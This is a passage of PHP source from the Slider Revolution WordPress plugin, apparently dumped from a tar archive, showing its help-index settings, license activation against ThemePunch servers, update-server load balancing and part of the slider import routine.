#gst_layer_11", $st => '#form_layer_attributes', $f => "#layer_rel" ) ), 'tab_index' => array( $t => __("Tab Index", 'revsliderhelp'), $h => "attributes.tabIndex", $k => array("layer tab index", "layer tab-index"), $d => __("Define the Layer's tab-index. Useful for defining focus on elements.", 'revsliderhelp'), $a => $u . "layer-attributes/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_11", $st => '#form_layer_attributes', $f => "#layer_tbindex" ) ), 'wrapper_id' => array( $t => __("Wrapper ID", 'revsliderhelp'), $h => "attributes.wrapperId", $k => array("wrapper id", "layer wrapper", "layer wrapper id"), $d => __("Define an optional ID for the Layer's outer-most wrapper to target it with custom CSS/JavaScript.", 'revsliderhelp'), $a => $u . "layer-attributes/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_11", $st => '#form_layer_attributes', $f => "#layer_wrapper_id" ) ), 'wrapper_classes' => array( $t => __("Wrapper Classes", 'revsliderhelp'), $h => "attributes.wrapperClasses", $k => array("wrapper classes", "layer wrapper", "layer wrapper classes"), $d => __("Add class names to the Layer's outer-most wrapper to target it with custom CSS/JavaScript (separate multiple class names with spaces)", 'revsliderhelp'), $a => $u . "layer-attributes/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_11", $st => '#form_layer_attributes', $f => "#layer_wrapper_classes" ) ) ), 'addons' => array() ) ) ); return array('translations' => $translations, 'helpindex' => apply_filters('revslider_help_directory', $helpindex)); } }admin/includes/license.class.php000060400000004464151724235750012720 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch * @since 6.2.0 */ if(!defined('ABSPATH')) exit(); class RevSliderLicense extends RevSliderFunctions { /** * Activate the Plugin through the ThemePunch Servers * @before 6.0.0: RevSliderOperations::checkPurchaseVerification(); * @before 6.2.0: RevSliderAdmin::activate_plugin(); **/ public function activate_plugin($code){ $rstrack = new RevSliderTracking(); $rstrack->_run(true); $rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer'); $data = array( 'code' => urlencode($code), 'version' => urlencode(RS_REVISION), 'product' => urlencode(RS_PLUGIN_SLUG), 'addition' => apply_filters('revslider_activate_plugin_info_addition', array()) ); $response = $rslb->call_url('activate.php', $data, 'updates'); $version_info = wp_remote_retrieve_body($response); if(is_wp_error($version_info)) return false; if($version_info == 'valid'){ update_option('revslider-valid', 'true'); update_option('revslider-code', $code); update_option('revslider-trustpilot', 'true'); update_option('revslider-deregister-popup', 'false'); return true; } if($version_info == 'exist') return 'exist'; if($version_info == 'banned') return 'banned'; return false; } /** * Deactivate the Plugin through the ThemePunch Servers * @before 6.0.0: RevSliderOperations::doPurchaseDeactivation(); * @before 6.2.0: RevSliderAdmin::deactivate_plugin(); **/ public function deactivate_plugin(){ $rstrack = new RevSliderTracking(); $rstrack->_run(false); $rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer'); $code = get_option('revslider-code', ''); $data = array( 'code' => urlencode($code), 'product' => urlencode(RS_PLUGIN_SLUG), 'addition' => apply_filters('revslider_deactivate_plugin_info_addition', array()) ); $res = $rslb->call_url('deactivate.php', $data, 'updates'); $vi = wp_remote_retrieve_body($res); if(is_wp_error($vi)) return false; if($vi == 'valid'){ update_option('revslider-valid', 'false'); update_option('revslider-code', ''); update_option('revslider-trustpilot', 'false'); update_option('revslider-deregister-popup', 'true'); return true; } return false; } }admin/includes/loadbalancer.class.php000060400000006202151724235750013675 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderLoadBalancer { public $servers = array(); /** * set the server list on construct **/ public function __construct(){ $this->servers = get_option('revslider_servers', array()); $this->servers = (empty($this->servers)) ? array('themepunch.tools') : $this->servers; } /** * get the url depending on the purpose, here with key, you can switch do a different server **/ public function get_url($purpose, $key = 0, $force_http = false){ $url = ($force_http ) ? 'http://' : 'https://'; $use_url = (!isset($this->servers[$key])) ? reset($this->servers) : $this->servers[$key]; switch($purpose){ case 'updates': $url .= 'updates.'; break; case 'templates': $url .= 'templates.'; break; case 'library': $url .= 'library.'; break; default: return false; } $url .= $use_url; return $url; } /** * refresh the server list to be used, will be done once in a month **/ public function refresh_server_list($force = false){ global $wp_version; $rs_rsl = (isset($_GET['rs_refresh_server'])) ? true : false; $last_check = get_option('revslider_server_refresh', false); if($force === true || $rs_rsl == true || $last_check === false || time() - $last_check > 60 * 60 * 24 * 14){ //$url = $this->get_url('updates'); $url = 'https://updates.themepunch.tools'; $request = wp_remote_post($url.'/get_server_list.php', array( 'user-agent' => 'WordPress/'.$wp_version.'; '.get_bloginfo('url'), 'body' => array( 'item' => urlencode(RS_PLUGIN_SLUG), 'version' => urlencode(RS_REVISION) ), 'timeout' => 45 )); if(!is_wp_error($request)){ if($response = maybe_unserialize($request['body'])){ $list = json_decode($response, true); update_option('revslider_servers', $list); } } update_option('revslider_server_refresh', time()); } } /** * move the server list, to take the next server as the one currently seems unavailable **/ public function move_server_list(){ $servers = $this->servers; $a = array_shift($servers); $servers[] = $a; $this->servers = $servers; update_option('revslider_servers', $servers); } /** * call an themepunch URL and retrieve data **/ public function call_url($url, $data, $subdomain = 'updates', $force_http = false){ global $wp_version; //add version if not passed $data['version'] = (!isset($data['version'])) ? urlencode(RS_REVISION) : $data['version']; $done = false; $count = 0; do{ $server = $this->get_url($subdomain, 0, $force_http); $request = wp_remote_post($server.'/'.$url, array( 'user-agent' => 'WordPress/'.$wp_version.'; '.get_bloginfo('url'), 'body' => $data, 'timeout' => 45 )); $response_code = wp_remote_retrieve_response_code($request); if($response_code == 200){ $done = true; }else{ $this->move_server_list(); } $count++; }while($done == false && $count < 5); return $request; } }admin/includes/import.class.php000060400000227376151724235750012621 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderSliderImport extends RevSliderSlider { private $old_slider_id; private $real_slider_id; private $remove_path; private $download_path; private $import_zip; private $exists; private $slider_raw_data; private $slider_data; private $slides_data; private $import_statics; private $imported; private $is_template; private $navigation_map; public $slider_id; public function __construct(){ parent::__construct(); require_once(ABSPATH . 'wp-admin/includes/file.php'); $this->old_slider_id = ''; $this->real_slider_id = ''; $this->remove_path = ''; $this->download_path = $this->get_temp_path('rstemp'); $this->slider_id = $this->get_post_var('sliderid'); $this->import_zip = false; $this->exists = !empty($this->slider_id); $this->imported = array(); $this->slider_data = array(); $this->slides_data = array(); $this->navigation_map = array(); } /** * return the old Slider ID * @return int **/ public function get_old_slider_id(){ return $this->old_slider_id; } /** * import slider from multipart form * @since: 5.3.1: $updateStatic is deprecated * @since: 6.0: $updateStatic is now removed (was second parameter) * @before: RevSliderSlider::importSliderFromPost(); */ public function import_slider($update_animation = true, $exact_filepath = false, $is_template = false, $single_slide = false, $update_navigation = true, $install = true){ global $wp_filesystem; WP_Filesystem(); try{ if($this->exists){ $this->init_by_id($this->slider_id); }else{ $exec = $this->unzip_slider($exact_filepath); if($exec !== true) return $exec; } $this->is_template = $is_template; //read all files needed $error = $this->check_template(); if(is_array($error)) return $error; $this->set_slider_data_raw(); $this->set_animations(); $this->set_dynamic_css_v5(); //used prior 6.0 exports $this->set_dynamic_css_v6(); //used since 6.0 exports $this->set_navigations($update_navigation); $this->process_slider_raw_data(); if($this->exists) $this->delete_all_slides(); //delete current slides $this->process_slide_data(); $this->process_layer_data(); $this->process_static_slide_data(); //do the update routines $slider = new RevSliderSliderImport(); $slider->init_by_id($this->slider_id); $upd = new RevSliderPluginUpdate(); $upd->set_import(true); $upd->upgrade_slider_to_latest($slider); //RevSliderPluginUpdate::upgrade_slider_to_latest($slider); //reinit because we just updated data which is outside of the $slider object $slider = new RevSliderSliderImport(); $slider->init_by_id($this->slider_id); $slider->update_css_and_javascript_ids($this->old_slider_id, $this->slider_id, $this->map); $slider->update_color_ids($this->map); //$slider->update_modal_ids($slider_ids, $slides_ids); $this->real_slider_id = $this->slider_id; if($install){ $duplicate = $this->duplicate_template_slider($single_slide); if(is_array($duplicate)) return $duplicate; //error } $this->clear_files(); }catch(Exception $e){ $this->clear_files(); return array('success' => false, 'error' => $e->getMessage(), 'sliderID' => $this->slider_id); } do_action('revslider_slider_imported', $this->real_slider_id); return array( 'success' => true, 'sliderID' => $this->real_slider_id, 'map' => array( 'slider' => array( 'zip_to_template' => array($this->old_slider_id => $this->slider_id), //zip id to template id 'zip_to_duplication' => array($this->old_slider_id => $this->real_slider_id) //template id to duplication id ), 'slides' => $this->map ) ); } /** * unzip an uploaded Slider * @param mixed $exact_filepath * @throws Exception * @return mixed */ private function unzip_slider($exact_filepath = false){ if($exact_filepath !== false){ $path = $exact_filepath; }else{ $import_file = $this->get_val($_FILES, 'import_file'); $error = $this->get_val($import_file, 'error'); switch($error){ case UPLOAD_ERR_NO_FILE: $this->throw_error(__('No file sent.', 'revslider')); break; case UPLOAD_ERR_INI_SIZE: case UPLOAD_ERR_FORM_SIZE: $this->throw_error(__('Exceeded filesize limit.', 'revslider')); break; default: break; } $path = $this->get_val($import_file, 'tmp_name'); } if(isset($path['error'])){ $this->throw_error($path['error']); } if(file_exists($path) == false) $this->throw_error(__('Import file not found', 'revslider')); WP_Filesystem(); global $wp_filesystem; $this->check_bad_files($path); $file = unzip_file($path, $this->download_path); if(is_wp_error($file)){ @define('FS_METHOD', 'direct'); //lets try direct. WP_Filesystem(); //WP_Filesystem() needs to be called again since now we use direct! $file = unzip_file($path, $this->download_path); if(is_wp_error($file)){ $this->download_path = RS_PLUGIN_PATH.'rstemp/'; $this->remove_path = $this->download_path; $file = unzip_file($path, $this->download_path); if(is_wp_error($file)){ $file_basename = basename($path); $this->download_path = str_replace($file_basename, '', $path); $file = unzip_file($path, $this->download_path); } } } $unzipped_data = $file; if(!is_wp_error($unzipped_data)){ $this->import_zip = true; return true; }else{ $this->clear_files(); return array('success' => false, 'error' => $unzipped_data->get_error_message()); } } /** * set the Slider data in raw from the slider_export.txt **/ public function set_slider_data_raw(){ global $wp_filesystem; $this->slider_raw_data = ($wp_filesystem->exists($this->download_path.'slider_export.txt')) ? $wp_filesystem->get_contents($this->download_path.'slider_export.txt') : ''; if($this->slider_raw_data == ''){ $dirs = scandir($this->download_path); if(!empty($dirs)){ foreach($dirs as $dir){ if($dir !== '.' && $dir !== '..' && is_dir($this->download_path . $dir)){ $dir = $this->download_path . $dir . '/'; $this->slider_raw_data = ($wp_filesystem->exists($dir.'slider_export.txt')) ? $wp_filesystem->get_contents($dir.'slider_export.txt') : ''; if($this->slider_raw_data != '') { $this->download_path = $dir; break; } } } } if($this->slider_raw_data == '') $this->throw_error(__('slider_export.txt does not exist!', 'revslider')); } } /** * set the Slider animations from custom_animations.txt and add/update them if needed in the database **/ public function set_animations(){ global $wp_filesystem, $wpdb; $animations = ($wp_filesystem->exists($this->download_path.'custom_animations.txt')) ? $wp_filesystem->get_contents($this->download_path.'custom_animations.txt') : ''; $json_animations = @json_decode($animations, true); $animations = (empty($json_animations)) ? $this->rs_unserialize($animations) : $json_animations; if(empty($animations)) return; foreach($animations as $animation){ $exist = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS." WHERE handle = %s", $animation['handle']), ARRAY_A); if(!empty($exist)){ //update the animation, get the ID $animation_id = $exist['id']; }else{ //insert the animation, get the ID //check if we are v5 or v6+ $an = array( 'handle' => $this->get_val($animation, 'handle'), 'params' => stripslashes(json_encode(str_replace("'", '"', $this->get_val($animation, 'params')))) ); if(in_array($this->get_val($animation, 'settings'), array('in', 'out'))){ $an['settings'] = $this->get_val($animation, 'settings'); } $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, $an); $animation_id = $wpdb->insert_id; //and set the current customin-oldID and customout-oldID in slider raw data to the new ID from the animation } $this->slider_raw_data = str_replace(array('customin-'.$animation['id'].'"', 'customout-'.$animation['id'].'"'), array('customin-'.$animation_id.'"', 'customout-'.$animation_id.'"'), $this->slider_raw_data); } } /** * set the Slider dynamic css from dynamic-captions.txt and add/update them if needed in the database * @used if we import a slider below 6.0, as here we still have the dynamic-captions.css. on 6.0 it is replaces with a styles.txt **/ public function set_dynamic_css_v5(){ global $wp_filesystem, $wpdb; $dynamic = ($wp_filesystem->exists($this->download_path.'dynamic-captions.css')) ? $wp_filesystem->get_contents($this->download_path.'dynamic-captions.css') : ''; $css_class = RevSliderGlobals::instance()->get('RevSliderCssParser'); //parse css to classes $css = $css_class->css_to_array($dynamic); if(is_array($css) && $css !== false && count($css) > 0){ foreach($css as $class => $styles){ //check if static style or dynamic style $class = trim($class); if(strpos($class, ',') !== false && strpos($class, '.tp-caption') !== false){ //we have something like .tp-caption.redclass, .redclass $class_t = explode(',', $class); foreach($class_t as $cl){ if(strpos($cl, '.tp-caption') !== false) $class = $cl; } } if((strpos($class, ':hover') === false && strpos($class, ':') !== false) || //before, after strpos($class, ' ') !== false || // .tp-caption.imageclass img or .tp-caption .imageclass or .tp-caption.imageclass .img strpos($class, '.tp-caption') === false || // everything that is not tp-caption (strpos($class, '.') === false || strpos($class, "#") !== false) || // no class -> #ID or img strpos($class, '>') !== false){ //.tp-caption>.imageclass or .tp-caption.imageclass>img or .tp-caption.imageclass .img continue; } //is a dynamic style if(strpos($class, ':hover') !== false){ $class = trim(str_replace(':hover', '', $class)); $insert = array( 'hover' => json_encode($styles), 'settings' => json_encode(array('hover' => 'true')) ); }else{ $insert = array( 'params' => json_encode($styles), 'settings' => '' ); } //check if class exists $result = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_CSS." WHERE handle = %s", $class), ARRAY_A); if(!empty($result)){ //update $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_CSS, $insert, array('handle' => $class)); }else{ //insert $insert['handle'] = $class; $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_CSS, $insert); } } } } /** * set the Slider dynamic css from styles.txt and add/update them if needed in the database **/ public function set_dynamic_css_v6(){ global $wp_filesystem, $wpdb; $styles = ($wp_filesystem->exists($this->download_path.'styles.txt')) ? $wp_filesystem->get_contents($this->download_path.'styles.txt') : ''; $json_styles = @json_decode($styles, true); $styles = (empty($json_styles)) ? $this->rs_unserialize($styles) : $json_styles; if(!empty($styles)){ foreach($styles as $style){ foreach($style as $v => $s){ if(is_array($s) || is_object($s)){ $style[$v] = json_encode($s); } } $exist = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_CSS." WHERE handle = %s", $this->get_val($style, 'handle')), ARRAY_A); if(!empty($exist)){ $rh = $this->get_val($style, 'handle'); unset($style['handle']); $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_CSS, $style, array('handle' => $rh)); }else{ $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_CSS, $style); } } } } /** * set the Slider navigatons from navigation.txt and add/update them if needed in the database * @param bool $update_navigation */ public function set_navigations($update_navigation){ global $wp_filesystem, $wpdb; $upd = new RevSliderPluginUpdate(); $navigations = ($wp_filesystem->exists($this->download_path.'navigation.txt')) ? $wp_filesystem->get_contents($this->download_path.'navigation.txt') : ''; $json_navigations = @json_decode($navigations, true); $navigations = (empty($json_navigations)) ? $this->rs_unserialize($navigations) : $json_navigations; if(!empty($navigations)){ foreach($navigations as $navigation){ $_navigations[] = $navigation; if(!isset($navigation['type'])){ //translate navigations to v6 if they are v5 $_navigations = array(); $navigation['css'] = json_decode($navigation['css'], true); $navigation['markup'] = json_decode($navigation['markup'], true); $navigation['settings'] = json_decode($navigation['settings'], true); foreach($upd->navtypes as $navtype){ if(isset($navigation['css'][$navtype]) && !empty($navigation['css'][$navtype]) || isset($navigation['markup'][$navtype]) && !empty($navigation['markup'][$navtype])){ $_navigations[] = $upd->create_new_navigation_6_0($navigation, $navtype); } } } if(!empty($_navigations)){ foreach($_navigations as $_navigation){ $exist = $wpdb->get_row($wpdb->prepare("SELECT id FROM ".$wpdb->prefix . RevSliderFront::TABLE_NAVIGATIONS." WHERE handle = %s AND type = %s", array($this->get_val($_navigation, 'handle'), $this->get_val($_navigation, 'type'))), ARRAY_A); $old_nav_id = $this->get_val($_navigation, 'id', false); if($old_nav_id !== false){ unset($_navigation['id']); } foreach($_navigation as $v => $s){ if(is_array($s) || is_object($s)){ $_navigation[$v] = json_encode($s); } } $rh = $_navigation['handle']; $rt = $_navigation['type']; if(!empty($exist)){ //create new navigation, get the ID if($update_navigation){ //overwrite navigation if exists unset($_navigation['handle']); $upd = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_NAVIGATIONS, $_navigation, array('handle' => $rh, 'type' => $rt)); $insert_id = $this->get_val($exist, 'id', $wpdb->insert_id); }else{ //insert with new handle $_navigation['handle'] = $_navigation['handle'].'-'.date('is'); $_navigation['name'] = $_navigation['name'].'-'.date('is'); //for prior to version 6.0 sliders, the next line needs to stay $this->slider_raw_data = str_replace($rh.'"', $_navigation['handle'].'"', $this->slider_raw_data); //for prior to version 6.0 sliders end $_navigation['css'] = str_replace('.'.$rh, '.'.$_navigation['handle'], $_navigation['css']); //change css class to the correct new class $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_NAVIGATIONS, $_navigation); $insert_id = $wpdb->insert_id; } }else{ $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_NAVIGATIONS, $_navigation); $insert_id = $wpdb->insert_id; } if($old_nav_id !== false){ $this->navigation_map[$old_nav_id] = $insert_id; } } } } } } /** * check if the slider is a template slider and if so, check further if uid is correct **/ public function check_template(){ global $wp_filesystem; $uid_check = ($wp_filesystem->exists($this->download_path.'info.cfg')) ? $wp_filesystem->get_contents($this->download_path.'info.cfg') : ''; if($this->is_template !== false){ if($uid_check != $this->is_template){ return array('success' => false, 'error' => __('Please select the correct zip file, checksum failed!', 'revslider')); } }else{ //someone imported a template base Slider, check if it is existing in Base Sliders, if yes, check if it was imported if($uid_check !== ''){ $tmpl = new RevSliderTemplate(); $tmpl_slider = $tmpl->get_tp_template_sliders(); if(!empty($tmpl_slider)){ foreach($tmpl_slider as $tp_slider){ if(!isset($tp_slider['installed'])) continue; if($tp_slider['uid'] == $uid_check){ $this->is_template = $uid_check; break; } } } } } return false; } /** * initialize the raw data and turn it into a Slider **/ public function process_slider_raw_data(){ $this->slider_data = @json_decode($this->slider_raw_data, true); if(empty($this->slider_data)){ //pre 6.0 Slider $this->slider_raw_data = preg_replace_callback('!s:(\d+):"(.*?)";!', array('RevSliderSliderImport', 'clear_error_in_string') , $this->slider_raw_data); //clear errors in string $this->slider_data = $this->rs_unserialize($this->slider_raw_data); $this->process_slider_raw_data_pre_6(); }else{ $this->process_slider_raw_data_post_6(); } } /** * process the Slider Data from Sliders that were exported before version 6.0 **/ public function process_slider_raw_data_pre_6(){ global $wpdb, $wp_filesystem; if(empty($this->slider_data)){ $this->clear_files(); $this->throw_error(__('Wrong export slider file format! Please make sure that the uploaded file is either a zip file with a correct slider_export.txt in the root of it or an valid slider_export.txt file.', 'revslider')); } //update slider params $params = $this->get_val($this->slider_data, 'params'); $params['imported'] = true; //set that we are an imported slider if($this->exists){ $params['title'] = $this->get_param('title'); $params['alias'] = $this->get_param('alias'); $params['shortcode'] = $this->get_param('shortcode'); } if($this->get_val($params, 'background_image', false) !== false){ $params['background_image'] = $this->check_file_in_zip($this->download_path, $params['background_image'], $this->get_param('alias'), $this->imported); $params['background_image'] = $this->get_image_url_from_path($params['background_image']); } $this->import_statics = true; if(isset($params['enable_static_layers'])){ if($params['enable_static_layers'] == 'off') $this->import_statics = false; unset($params['enable_static_layers']); } //update slider or create new if($this->exists){ $wpdb->update( $wpdb->prefix . RevSliderFront::TABLE_SLIDER, array('params' => json_encode($params)), array('id' => $this->slider_id) ); $this->title = $this->get_val($params, 'title'); $this->alias = $this->get_val($params, 'alias'); }else{ //new slider //check if Slider with title and/or alias exists, if yes change both to stay unique $insert = array( 'title' => $this->get_val($params, 'title', 'Slider1'), 'alias' => $this->get_val($params, 'alias', 'slider1') ); if($this->is_template === false){ //we want to stay at the given alias if we are a template $talias = $insert['alias']; $ttitle = $insert['title']; $ti = 1; while($this->alias_exists($talias)){ //set a new alias and title if its existing in database $talias = $insert['alias'] . $ti; $ttitle = $insert['title'] . $ti; $ti++; } if($talias !== $insert['alias']){ $params['title'] = $ttitle; $params['alias'] = $talias; $insert['title'] = $ttitle; $insert['alias'] = $talias; } }else{ //add that we are an template $params['uid'] = $this->is_template; $insert['title'] = $this->get_val($insert, 'title'); //.' Template'; $insert['alias'] = $this->get_val($insert, 'alias'); //.'-template'; $insert['type'] = 'template'; } $insert['params'] = json_encode($params); $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDER, $insert); $this->slider_id = $wpdb->insert_id; $this->title = $this->get_val($insert, 'title'); $this->alias = $this->get_val($insert, 'alias'); } } /** * process the Slider Data from Sliders that were exported before version 6.0 **/ public function process_slider_raw_data_post_6(){ global $wpdb, $wp_filesystem; if(empty($this->slider_data)){ $this->clear_files(); $this->throw_error(__('Wrong export slider file format! Please make sure that the uploaded file is either a zip file with a correct slider_export.txt in the root of it or an valid slider_export.txt file.', 'revslider')); } //update slider params $params = $this->get_val($this->slider_data, 'params'); $params['imported'] = true; //set that we are an imported slider //check if we are a premium slider if($this->get_val($params, 'pakps', false) === true && $this->_truefalse(get_option('revslider-valid', 'false')) === false){ $this->clear_files(); $this->throw_error(__('Please register your Slider Revolution plugin to import premium templates', 'revslider')); } $this->old_slider_id = $this->get_val($this->slider_data, 'id', ''); $title = ($this->exists) ? $this->get_title() : $this->get_val($this->slider_data, 'title', 'Slider1'); $alias = ($this->exists) ? $this->get_alias() : $this->get_val($this->slider_data, 'alias', 'slider1'); $params['shortcode'] = ($this->exists) ? $this->get_shortcode() : $params['shortcode']; /** * images/videos in Sliders: * troubleshooting.alternateURL * troubleshooting.alternateURLId remove * layout.bg.useImage * layout.bg.image **/ if(!isset($params['troubleshooting'])) $params['troubleshooting'] = array(); if(!isset($params['layout'])) $params['layout'] = array(); if(!isset($params['layout']['bg'])) $params['layout']['bg'] = array(); //remove imageId if it is set if($this->get_val($params, array('layout', 'bg', 'imageId'), false) !== false) unset($params['layout']['bg']['imageId']); if($this->get_val($params, array('layout', 'bg', 'useImage'), false) !== false){ $params['layout']['bg']['useImage'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('layout', 'bg', 'useImage')), $alias, $this->imported); $params['layout']['bg']['useImage'] = $this->get_image_url_from_path($this->get_val($params, array('layout', 'bg', 'useImage'))); } if($this->get_val($params, array('layout', 'bg', 'image'), false) !== false){ $params['layout']['bg']['image'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('layout', 'bg', 'image')), $alias, $this->imported); $params['layout']['bg']['image'] = $this->get_image_url_from_path($this->get_val($params, array('layout', 'bg', 'image'))); } if($this->get_val($params, array('troubleshooting', 'alternateURL'), false) !== false){ $params['troubleshooting']['alternateURL'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('troubleshooting', 'alternateURL')), $alias, $this->imported); $params['troubleshooting']['alternateURL'] = $this->get_image_url_from_path($this->get_val($params, array('troubleshooting', 'alternateURL'))); } if(isset($params['troubleshooting']['alternateURLId'])) unset($params['troubleshooting']['alternateURLId']); $this->import_statics = true; //remap the navigations if(!empty($this->navigation_map)){ $arrows = $this->get_val($params, array('nav', 'arrows', 'style'), false); $bullets = $this->get_val($params, array('nav', 'bullets', 'style'), false); $thumbs = $this->get_val($params, array('nav', 'thumbs', 'style'), false); $tabs = $this->get_val($params, array('nav', 'tabs', 'style'), false); if(isset($this->navigation_map[$arrows])) $this->set_val($params, array('nav', 'arrows', 'style'), $this->navigation_map[$arrows]); if(isset($this->navigation_map[$bullets])) $this->set_val($params, array('nav', 'bullets', 'style'), $this->navigation_map[$bullets]); if(isset($this->navigation_map[$thumbs])) $this->set_val($params, array('nav', 'thumbs', 'style'), $this->navigation_map[$thumbs]); if(isset($this->navigation_map[$tabs])) $this->set_val($params, array('nav', 'tabs', 'style'), $this->navigation_map[$tabs]); } //update slider or create new if($this->exists){ $wpdb->update( $wpdb->prefix . RevSliderFront::TABLE_SLIDER, array( 'title' => $title, 'alias' => $alias, 'params' => json_encode($params) ), array('id' => $this->slider_id) ); $this->title = $title; $this->alias = $alias; }else{ //new slider //check if Slider with title and/or alias exists, if yes change both to stay unique $insert = array( 'title' => $title, 'alias' => $alias ); if($this->is_template === false){ //we want to stay at the given alias if we are a template $talias = $insert['alias']; $ttitle = $insert['title']; $ti = 1; while($this->alias_exists($talias)){ //set a new alias and title if its existing in database $talias = $insert['alias'] . $ti; $ttitle = $insert['title'] . $ti; $ti++; } if($talias !== $insert['alias']){ $params['title'] = $ttitle; $params['alias'] = $talias; $insert['title'] = $ttitle; $insert['alias'] = $talias; } }else{ //add that we are an template $params['uid'] = $this->is_template; $insert['title'] = $this->get_val($insert, 'title').' Template'; $insert['type'] = 'template'; } $insert['settings'] = $this->get_val($this->slider_data, 'settings', array()); if($this->get_val($insert, array('settings', 'version'), false) === false){ $this->set_val($insert, array('settings', 'version'), $this->get_val($params, 'version', '1.0.0')); } $insert['settings'] = json_encode($insert['settings']); $insert['params'] = json_encode($params); $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDER, $insert); $this->slider_id = $wpdb->insert_id; $this->title = $this->get_val($insert, 'title'); $this->alias = $this->get_val($insert, 'alias'); } //allow for updating the slider params $d = array('params' => $params, 'sliderParams' => $this->slider_data, 'imported' => $this->imported); $d = apply_filters('revslider_importSliderFromPost_modify_slider_data', $d, $this->download_path, $this); $params = $d['params']; $this->slider_data = $d['sliderParams']; $this->imported = $d['imported']; $wpdb->update( $wpdb->prefix . RevSliderFront::TABLE_SLIDER, array( 'params' => json_encode($params) ), array('id' => $this->slider_id) ); } /** * process the slide data, mapping and layers **/ public function process_slide_data(){ $this->slides_data = $this->get_val($this->slider_data, 'slides'); if(empty($this->slides_data)) return false; foreach($this->slides_data as $slide_key => $slide){ $params = $this->get_val($slide, 'params'); if(version_compare($this->get_val($params, 'version', '1.0.0'), '6.0.0', '<')){ $this->process_slide_data_pre_6(); }else{ $this->process_slide_data_post_6(); } break; } } /** * process Slide data, mapping and layers of a pre 6.0 slide **/ public function process_slide_data_pre_6(){ global $wpdb; if(empty($this->slides_data)) return false; $template = new RevSliderTemplate(); foreach($this->slides_data as $slide_key => $slide){ $params = $this->get_val($slide, 'params'); $layers = $this->get_val($slide, 'layers'); $settings = $this->get_val($slide, 'settings', ''); $alias = $this->get_val($this->slider_data, 'alias'); //convert params images: if($this->import_zip === true){ //we have a zip, check if exists //remove image_id as it is not needed in import if(isset($params['image_id'])) unset($params['image_id']); if(isset($params['image'])){ $params['image'] = $this->check_file_in_zip($this->download_path, $params['image'], $alias, $this->imported); $params['image'] = $this->get_image_url_from_path($params['image']); } if(isset($params['background_image'])){ $params['background_image'] = $this->check_file_in_zip($this->download_path, $params['background_image'], $alias, $this->imported); $params['background_image'] = $this->get_image_url_from_path($params['background_image']); } if(isset($params['slide_thumb'])){ $params['slide_thumb'] = $this->check_file_in_zip($this->download_path, $params['slide_thumb'], $alias, $this->imported); $params['slide_thumb'] = $this->get_image_url_from_path($params['slide_thumb']); } //check if we are a template slider, if yes, use template slide image if($this->is_template !== false && empty($params['slide_thumb'])){ $params['slide_thumb'] = $template->get_slide_image_by_uid($this->is_template, $slide_key); $params['thumb_for_admin'] = 'on'; } if(isset($params['show_alternate_image'])){ $params['show_alternate_image'] = $this->check_file_in_zip($this->download_path, $params['show_alternate_image'], $alias, $this->imported); $params['show_alternate_image'] = $this->get_image_url_from_path($params['show_alternate_image']); } if(isset($params['background_type']) && $params['background_type'] == 'html5'){ if(isset($params['slide_bg_html_mpeg']) && $params['slide_bg_html_mpeg'] != ''){ $params['slide_bg_html_mpeg'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $params['slide_bg_html_mpeg'], $alias, $this->imported, true)); } if(isset($params['slide_bg_html_webm']) && $params['slide_bg_html_webm'] != ''){ $params['slide_bg_html_webm'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $params['slide_bg_html_webm'], $alias, $this->imported, true)); } if(isset($params['slide_bg_html_ogv']) && $params['slide_bg_html_ogv'] != ''){ $params['slide_bg_html_ogv'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $params['slide_bg_html_ogv'], $alias, $this->imported, true)); } } } //convert layers images: if(!empty($layers)){ foreach($layers as $layer_key => $layer){ //import if exists in zip folder if($this->import_zip === true){ //we have a zip, check if exists if(isset($layer['image_url'])){ $layer['image_url'] = $this->check_file_in_zip($this->download_path, $layer['image_url'], $alias, $this->imported); $layer['image_url'] = $this->get_image_url_from_path($layer['image_url']); } if(isset($layer['bgimage_url'])){ $layer['bgimage_url'] = $this->check_file_in_zip($this->download_path, $layer['bgimage_url'], $alias, $this->imported); $layer['bgimage_url'] = $this->get_image_url_from_path($layer['bgimage_url']); } if(isset($layer['type']) && ($layer['type'] == 'video' || $layer['type'] == 'audio')){ $video_data = (isset($layer['video_data'])) ? (array) $layer['video_data'] : array(); if(!empty($video_data) && isset($video_data['video_type']) && $video_data['video_type'] == 'html5'){ if(isset($video_data['urlPoster']) && $video_data['urlPoster'] != ''){ $video_data['urlPoster'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlPoster'], $alias, $this->imported)); } if(isset($video_data['urlMp4']) && $video_data['urlMp4'] != ''){ $video_data['urlMp4'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlMp4'], $alias, $this->imported, true)); } if(isset($video_data['urlWebm']) && $video_data['urlWebm'] != ''){ 